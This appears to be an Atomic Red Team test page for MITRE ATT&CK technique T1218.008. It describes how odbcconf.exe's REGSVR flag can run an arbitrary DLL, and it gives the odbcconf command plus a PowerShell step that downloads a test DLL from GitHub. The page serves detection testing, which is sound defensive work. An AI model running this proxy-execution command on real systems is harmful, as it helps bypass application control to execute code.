# T1218.008 - Odbcconf
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1218/008)
<blockquote>Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) Odbcconf.exe is digitally signed by Microsoft.

Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR "C:\Users\Public\file.dll"&rbrace;</code>). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) 
</blockquote>

## Atomic Tests

- [Atomic Test #1 - Odbcconf.exe - Execute Arbitrary DLL](#atomic-test-1---odbcconfexe---execute-arbitrary-dll)


<br/>

## Atomic Test #1 - Odbcconf.exe - Execute Arbitrary DLL
Execute arbitrary DLL file stored locally.

**Supported Platforms:** Windows


**auto_generated_guid:** 2430498b-06c0-4b92-a448-8ad263c388e2





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| dll_payload | DLL to execute | Path | PathToAtomicsFolder&#92;T1218.008&#92;src&#92;Win32&#92;T1218-2.dll|


#### Attack Commands: Run with `command_prompt`! 


```cmd
odbcconf.exe /S /A {REGSVR "#{dll_payload}"}
```




#### Dependencies:  Run with `powershell`!
##### Description: T1218-2.dll must exist on disk at specified location (#{dll_payload})
##### Check Prereq Commands:
```powershell
if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/src/Win32/T1218-2.dll" -OutFile "#{dll_payload}"
```




<br/>
